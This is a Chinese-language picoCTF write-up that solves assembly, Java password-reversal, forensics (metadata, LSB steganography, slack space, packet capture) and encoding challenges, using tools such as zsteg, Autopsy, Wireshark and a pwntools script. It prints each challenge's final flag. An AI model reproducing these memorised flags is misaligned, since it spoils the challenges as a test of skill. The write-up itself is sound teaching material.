- 回傳
<+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x3fb <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x280 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0xa <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xa <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0x559 <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0xa <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0xa <+60>: pop ebp # 回傳值,所以是 0x2d6 <+61>: ret
第一次遇到組合語言的題目,需要花點時間反覆看,需要看懂基本的指令如 mov 、 cmp 、 jg 、 jne 、 jmp 、 add 、 sub 等代表的是什麼意思。
最終 flag 是 0x2d6
,注意這題不是 picoCTF{0x2d6}
vault-door-3 (200 points)
This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java
Hints : Make a table that contains each value of the loop variables and the corresponding buffer index that it writes to.
仔細閱讀一下 Java 的程式碼,可以得知
當輸入正確的( 32 位長度)密碼後,經過下面的混淆
for (i=0; i<8; i++) {
buffer[i] = password.charAt(i);
}
for (; i<16; i++) {
buffer[i] = password.charAt(23-i);
}
for (; i<32; i+=2) {
buffer[i] = password.charAt(46-i);
}
for (i=31; i>=17; i-=2) {
buffer[i] = password.charAt(i);
}
就是會這串字 jU5t_a_sna_3lpm18g947_u_4_m9r54f
所以只需反向推算出混淆前的密碼即可
1.
for (i=0; i<8; i++) {
buffer[i] = password.charAt(i);
}
jU5t_a_sna_3lpm18g947_u_4_m9r54f
沒有變化 =>
jU5t_a_sna_3lpm18g947_u_4_m9r54f
2.
for (; i<16; i++) {
buffer[i] = password.charAt(23-i);
}
jU5t_a_sna_3lpm18g947_u_4_m9r54f
反轉字串 =>
jU5t_a_s1mpl3_an8g947_u_4_m9r54f
3.
for (; i<32; i+=2) {
buffer[i] = password.charAt(46-i);
}
jU5t_a_s1mpl3_an8
g9
47
_ u
_ 4
_ m
9r
54
f
反轉字串 =>
jU5t_a_s1mpl3_an4
gr
4m
_ 4
_ u
_ 7
99
58
f
4.
for (i=31; i>=17; i-=2) {
buffer[i] = password.charAt(i);
}
jU5t_a_s1mpl3_an4g
r4
m_
4_
u_
79
95
8f
沒有變化 =>
jU5t_a_s1mpl3_an4g
r4
m_
4_
u_
79
95
8f
構成 flag picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_79958f}
Forensics
So Meta (150 points)
Find the flag in this picture.
Hints : What does meta mean in the context of files?
Hints : Ever heard of metadata?
知識點 :
了解 metadata 是什麼,有何作用
在照片中,Exif 是其中很常見的檔案格式,它使用 metadata 來記錄數位相片的屬性資訊和拍攝資料(還有 flag)
比較標準的解法 :
使用一些 Metadata viewer 的網站去查看這張圖片的 metadata
另一種解法 :
打開文本工具,搜索關鍵字”picoCTF”
What Lies Within (150 points)
There’s something in the building. Can you retrieve the flag?
Hints : There is data encoded somewhere… there might be an online decoder.
知識點:
要了解一張圖片基本可以由 R(Red) 、 G(Green) 、 B(Blue) 三種顏色所組成,而每個顏色都有 8bit (0~7),而其中一種在 CTF 常見的方式是利用 LSB 来對圖片进行隱寫,LSB 也就是最低有效位 (LeastSignificant Bit),由於 LSB 隱寫是修改像素中最低的 1 個 bit,所以人的肉眼是無法從圖片察覺異樣。
解法一 :
使用 StegSolve 去查看圖片裡 RGB 每一個 bit 的呈現。
通常看到最後一個 0 bit 長得跟前面 7 個 bit 完全不同,那麼 9 成是有 LSB 隱寫。
解法二 :
直接使用線上的圖片解密網站
解法三 :
使用強大的 command line 工具 zsteg ,基本上是暴力解。
$ zsteg buildings.png
b1,r,lsb,xy .. text: "^5>R5YZrG"
b1,rgb,lsb,xy .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
b1,abgr,msb,xy .. file: PGP Secret Sub-key -
b2,b,lsb,xy .. text: "XuH}p#8Iy="
b3,abgr,msb,xy .. text: "t@Wp-_tH_v\r"
b4,r,lsb,xy .. text: "fdD\"\"\"\" "
b4,r,msb,xy .. text: "%Q#gpSv0c05"
b4,g,lsb,xy .. text: "fDfffDD\"\""
b4,g,msb,xy .. text: "f\"fff\"\"DD"
b4,b,lsb,xy .. text: "\"$BDDDDf"
b4,b,msb,xy .. text: "wwBDDDfUU53w"
b4,rgb,msb,xy .. text: "dUcv%F#A`"
b4,bgr,msb,xy .. text: " V\"c7Ga4"
b4,abgr,msb,xy .. text: "gOC_$_@o"
extensions (150 points)
This is a really weird text file TXT? Can you find the flag?
Hints 1 : How do operating systems know what kind of file it is? (It’s not just the ending!
Hints 2 : Make sure to submit the flag as picoCTF{XXXXX}
知識點
分辦實際的檔案類型,副檔名只是一個參考
可以使用 file 命令去查看文件類型
$ file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced
雖然它看起來是一個 .txt 但實際上是一個 .png 的圖片
解法就只需要把副檔名 flag.txt 改成 flag.png 就可以看到圖片,flag 就在圖片內容裡。
shark on wire 1 (150 points)
We found this packet capture. Recover the flag.
Hints 1 : Try using a tool like Wireshark
Hines 2 : What are streams?
知識點 : 使用工具 Wireshark
下載了一個叫 capture.pcap 的檔文,.pcap 的副檔名它可以說是 Wireshark 的專屬副檔名,檔案記錄有關封包等訊息。
先用 wireshark 打開 capture.pcap,裡面包含了很多的封包,對其中一個封包點選右鍵-> Follow -> UDP Stream
查看它 Stream 的內容
在 udp.stream eq 6 找到了 flag
Pitter, Patter, Platters (200 points)
‘Suspicious’ is written all over this disk image. Download suspicious.dd.sda1
Hints 1 : It may help to analyze this image in multiple ways: as a blob, and as an actual mounted disk.
Hints 2 : Have you heard of slack space? There is a certain set of tools that now come with Ubuntu that I’d recommend for examining that disk space phenomenon…
這一個數位鑑識的題目,對於這樣的題目有一個很常用的工具叫 Autopsy
先把下載來的 suspicious.dd.sda1 檔丢到 autopsy 去分析,看到一個檔案名叫 suspicious-file.txt 的檔案
suspicious-file.txt 的十六進位內容:
0x00000000: 4E 6F 74 68 69 6E 67 20 74 6F 20 73 65 65 20 68 Nothing to see h
0x00000010: 65 72 65 21 20 42 75 74 20 79 6F 75 20 6D 61 79 ere! But you may
0x00000020: 20 77 61 6E 74 20 74 6F 20 6C 6F 6F 6B 20 68 65 want to look he
0x00000030: 72 65 20 2D 2D 3E 0A re -->.
suspicious-file.txt 的十進位內容:
Nothing to see here! But you may want to look here -->
------------------------------METADATA------------------------------
看來這裡檔案裡沒有 flag ,不過有提示在這後面,似乎透過一些方法隱藏起來了。
根據 hints 2 : Have you heard of slack space?
應該是隱藏在閒置空間(slack space) 當中。
Autopsy 默認是不顯示 slack file ,可以在設定 -> Hide slak file 中取消勾選,然後就可以看到一個叫 supicious-file.txt.slack 的檔案
supicious-file.txt.slack 的十六進位內容:
0x00000000: 7D 00 31 00 32 00 39 00 30 00 38 00 38 00 61 00 }.1.2.9.0.8.8.a.
0x00000010: 62 00 5F 00 33 00 3C 00 5F 00 7C 00 4C 00 6D 00 b._.3.<._.|.L.m.
0x00000020: 5F 00 31 00 31 00 31 00 74 00 35 00 5F 00 33 00 _.1.1.1.t.5._.3.
0x00000030: 62 00 7B 00 46 00 54 00 43 00 6F 00 63 00 69 00 b.{.F.T.C.o.c.i.
0x00000040: 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 p...............
0x00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
...
...下面略
supicious-file.txt.slack 的十進位內容:
}129088ab_3<_|Lm_111t5_3b{FTCocip
是反轉字串的 flag
反轉後構成 flag picoCTF{b3_5t111_mL|_<3_ba880921}
這個 write up 有 autopsy 的影片教學
這裡還有不使用 autopsy ,只有 terminal 就能解的 write up
General Skills
Based (200 points)
To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc jupiter.challenges.picoctf.org 15130.
Hints 1 : I hear python can convert things.
Hints 2 : It might help to have multiple windows open
先用 nc 連接看看
$ nc jupiter.challenges.picoctf.org 15130
Let us see how data is stored
container
Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....
Input:
是一道限時內答出 2 進位轉成字串的題,後面還有 8 進位和 16 進位。
當然如果把每一題都丢到線上的轉換網站去解,45 秒也來得及解,但如果秒數更少一點的話就沒法了。
所以這裡就學習一下如何透過 python 的 pwntools 去解這一類題目。
python 解法:
from pwn import *
import re
import string
#context.log_level = "DEBUG"
r = remote("jupiter.challenges.picoctf.org", 15130)
def get_base_encoded_str(r):
s = r.recvuntil("the ")
s = s.decode()
if ("Please" not in s):
r.recvline()
return None
s = r.recvuntil(" as a word.", drop = True)
s = s.decode()
return s.strip()
def decode_string_as_char_array(s, base):
res = ""
for unit in s.split(" "):
c = chr(int(unit, base))
if c not in string.ascii_letters:
raise Exception("Non-ASCII result")
res += c
return res
def try_decode_as_char_array_with_unknown_base(s):
for base in range(1, 17):
try:
res = decode_string_as_char_array(s, base)
log.info("Decode successful with base {}".format(base))
return res
except:
pass
return None
def try_decode_as_hex(s):
try:
s = bytes.fromhex(s).decode('utf-8')
# return s.decode("hex")
return s
except:
return None
r.recvline()
r.recvline()
s = get_base_encoded_str(r)
while s is not None:
log.info("Trying to decode '{}'".format(s))
res = try_decode_as_char_array_with_unknown_base(s) or try_decode_as_hex(s)
if res is None:
log.error("Can't decode '{}'".format(s))
break
log.info("Decoded as '{}'".format(res))
r.sendlineafter("Input:", res)
s = get_base_encoded_str(r)
print(r.recvall().decode())
運行 :
$ python3 solve.py
[+] Opening connection to jupiter.challenges.picoctf.org on port 15130: Done
[*] Trying to decode '01110011 01101100 01110101 01100100 01100111 01100101'
[*] Decode successful with base 2
[*] Decoded as 'sludge'
[*] Trying to decode '155 141 160'
[*] Decode successful with base 8
[*] Decoded as 'map'
[*] Trying to decode '74657374'
[*] Decoded as 'test'
[+] Receiving all data: Done (57B)
[*] Closed connection to jupiter.challenges.picoctf.org port 15130
Flag: picoCTF{learning_about_converting_values_02167de8}
plumbing (200 points)
Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to jupiter.challenges.picoctf.org 14291.
Hints 1 : Remember the flag format is picoCTF{XXXX}
Hints 2 : What’s a pipe? No not that kind of pipe… This kind
知識點 : nc 指令、 grep 指令、pipeline
如果單純的用 nc jupiter.challenges.picoctf.org 14291
輸出的內容多得(共10001行)肉眼找不出 flag 的位置
$ nc jupiter.challenges.picoctf.org 14291 | grep "picoCTF"
picoCTF{digital_plumb3r_ea8bfec7}
其實還有另一種做法
$ nc jupiter.challenges.picoctf.org 14291 > flag.txt
把輸出的內容導向 flag.txt 裡,在檔案裡搜尋 picoCTF,便能找到在第 3033 行裡
flag.txt :
3029 ...略
3030 ...略
3031 ...略
3032 Not a flag either
3033 picoCTF{digital_plumb3r_ea8bfec7}
3034 Again, I really don't think this is a flag
3035 ...略
3036 ...略
3037 ...略
Binary Exploitation
(無 150 - 200 分題目)